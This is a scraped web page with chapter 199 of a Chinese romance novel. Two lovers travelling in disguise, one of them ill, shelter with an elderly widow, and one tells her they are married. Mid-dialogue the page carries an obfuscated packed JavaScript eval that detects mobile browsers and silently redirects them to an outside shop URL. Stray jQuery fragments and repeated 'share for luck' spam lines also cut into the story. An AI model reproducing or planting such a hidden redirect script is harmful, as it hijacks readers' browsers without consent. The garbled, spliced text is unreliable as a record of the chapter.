默认冷灰
24号文字
方正启体

第199章 落脚

作者:纯爱无解本书字数:K更新时间:
    庙外的雨势依旧滂沱,不曾停歇。


    这一场雨断断续续已经下了半个月,昭南听着外面的雨声,只觉得这天气实在恼人。


    庙外有侍卫冒雨回来。


    说前方三里有一处人家,已经征得主人同意,可以当供一处落脚地,定然比这山庙能遮风挡雨。


    昭南一听,觉得可行。


    傅觉止方才喝过了药,面色还是不太好。


    眼下一片浅淡的绀青,应是昨夜睡得不安然,再加上低热未褪,若能有一张实在的床铺让他歇息,自是最好不过。


    傅觉止脑海昏沉。


    他将脸轻埋在昭南肩上,闻言略一思忖,哑声道:“好。


    “借宿后给予银钱,万事低调,不可扰民。


    这是自然。


    只是借宿在那户人家里的,也只有昭南与傅觉止二人。


    一是人多了,主人家定然照料不及,恐生不便,二是其余人也有任务在身。


    此处情形尚且安全,但往前三十里,就是一处寻常关隘。


    虽说不是曹时重兵布防之处,可一旦邓莽部全军覆没的消息传开,各处盘查必定骤然收紧。


    所以即便文牒无误,若遇刻意刁难,难免横生枝节。


    须得府卫们先行一步,去打点疏通,至少探明情况,早做安排。


    福海也没留下。


    他做事干练稳妥,早已备好了薄礼,去掌管关卡的巡检司周旋。


    有句话说得好,能用银钱打开的路,就不算绝路。


    傅觉止如今的身份是南下药贩,与北方货主订有交货期限,若前方道路被阻,也就不好交差。


    所以心中焦急,才让身边人带礼,去请官吏行个方便。


    这是处世之道,也是商贩过关的寻常操作。


    一路行来,这合情合理的打点不能少。


    等到了那户人家门前,众人便依命告别,各自散去行事。


    出来迎客的是一位慈眉善目的老妇人,房屋虽然低矮,却收拾得整洁。


    她家中应是只有一人,收拾出来的屋子,说是自家儿子以前住的。


    不过儿子早几年去了江泾那边打仗,身在军营,这屋子就一直空着。


    听说看这本书的人都是很幸运的,分享后你的运气会更棒


    屋里狭小却干燥,有床有桌,简单俱全。


    老妇帮着升起了屋内的炉火,笑着寒暄几句,出去了。


    如今过了晌午,路上也吃过干粮。


    昭南懒趴趴地坐在椅子里,倒在桌上不太想动。


    傅觉止松了松衣襟,站在他身侧俯下身,先是亲了亲昭南的鼻尖。


    低笑一声,又深入唇瓣厮磨片刻,才起身走出门去。


    昭南不知道他去做什么,等回来,发现他提了一木桶清水。


    傅觉止将水罐坐在炉子上,指尖在昭南面颊上轻轻拭过。


    笑着。


    “团团成花猫了,过会儿水热了就沐浴去。


    脸上应是方才下车时蹭上了泥,昭南没什么感觉,如今被傅觉止一说,嘿嘿笑了起来。


    这是要烧洗澡水呢。


    他胡乱用手背抹了抹脸,不让傅觉止再忙活,自己起身坐去火炉边,守着火。


    傅觉止还发着热,自然是他先清爽,去榻上休息才对。


    昭南认真想着。


    自己要照顾好他。


    九月的天不冷,现在是正午,下着雨,也正是闷热的时候。


    昭南觉得水温差不多了,转过头,想喊傅觉止准备沐浴,却被身后的人覆上来。


    傅觉止一手将他托起,另一手提起炉子上的水罐,往屋外走。


    气息拂在颈侧,昭南敏锐察觉出异常,立刻挣扎着想下来:“你呼吸好烫,肯定发热了。


    傅觉止不以为意,垂眸笑了笑,视线掠过昭南微红的颈侧。


    天气闷热,若这处再被薄汗浸久一些,怕是会难受。


    他一手抱人,一手提水,走去院里一间小屋前。


    “这里没有浴桶,倒是一处浴室。团团先去将身子擦清爽,然后好好睡一觉。


    昭南才不答应。


    傅觉止身上的热度愈演愈烈,分明是没有休息好,病未痊愈又劳累过度,反复了。


    他蹙起眉,是要好好说一说傅觉止:“你生病了,现在还在发热……


    一句未说完,傅觉止侧首吻上他的眉心。


    一声低哄。


    “团团听话,夫君在厨房熬了药,现在得过去喝。


    听说看这本书的人都是很幸运的,分享后你的运气会更棒


    他抱着人进了浴室,将仅有的一片旧布帘子放下,试好水温后起身,又眷恋亲了亲昭南的唇。


    “


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17162760|196599||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    夫君要去喝药,团团先洗。”


    一涉及到傅觉止喝药,昭南立马就听话了。


    他严阵以待地点点头,开始飞速脱衣物:“好,那你快去。”


    他捞起水就往自己身上泼,火急火燎地保证:“我很快的!”


    傅觉止压根不急。


    他垂眸,目光落在昭南颈间的红痕,又确认一番,沉默片刻,才应声出去了。


    ……


    昭南心里惦记着傅觉止,前前后后用了不到一刻钟,就从浴室里出来。


    他身子清爽,随后去了厨房,要喊人过去洗澡。


    等到了才发现傅觉止不在,老妇独自坐在小凳上,正往灶里添火。


    “找三七呀?”


    她听府卫说过他们的名字,也认得,笑着抬头:“他已经喝过药,回房寻干净衣裳去了。”


    昭南一出来就往厨房里跑,自然没碰见面,两人恰好错开。


    听闻傅觉止已经喝了药,他才稍稍放下心。


    老妇名叫刘芳林,因着家中无人,骤然来了客便格外健谈。


    她发丝花白,起身给昭南沏了一杯甜茶,拉着他随意说起话来。


    说她中年丧夫,养成了儿子,又说儿子去了军营,一年到头回不来几次。


    每月的军饷倒是送得勤快,让母亲留着用。


    刘芳林一人花用不多,家里有片小菜地,养了些鸡鸭,日子过得也算安稳。


    许是好久没人陪着说话,她现在坐在凳子上,手里拿着刺绣的花布,笑得纯粹,介绍绣活儿是自己的爱好,用以打发时光。


    昭南凑上前去细细端详,刘芳林每落一针,他也由衷赞叹一句。


    老人家被逗得忍俊不禁,喜爱他,也随口问了一声:“你们兄弟感情真好,方才三七在这儿,管我要了爽身的痱子粉,说是要给你用呢。”


    昭南闻言不禁一怔。


    他碰了碰自己的脖子,知晓傅觉止要拿这东西做什么,便笑了笑,回道。


    “阿奶,我们不是兄弟,是夫妻呢。”


    刘芳林眼角笑出了深深的皱纹,了然点头:“那是新婚呢?”


    昭南垂着头,也笑:“算是。”


    特别时期特别对待,昭南也没有透露太多信息,免得给老人家留下麻烦。


    也就是这个时候,他昨夜想的三七与阿牛的爱情故事,便留在了这方农家小院里。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)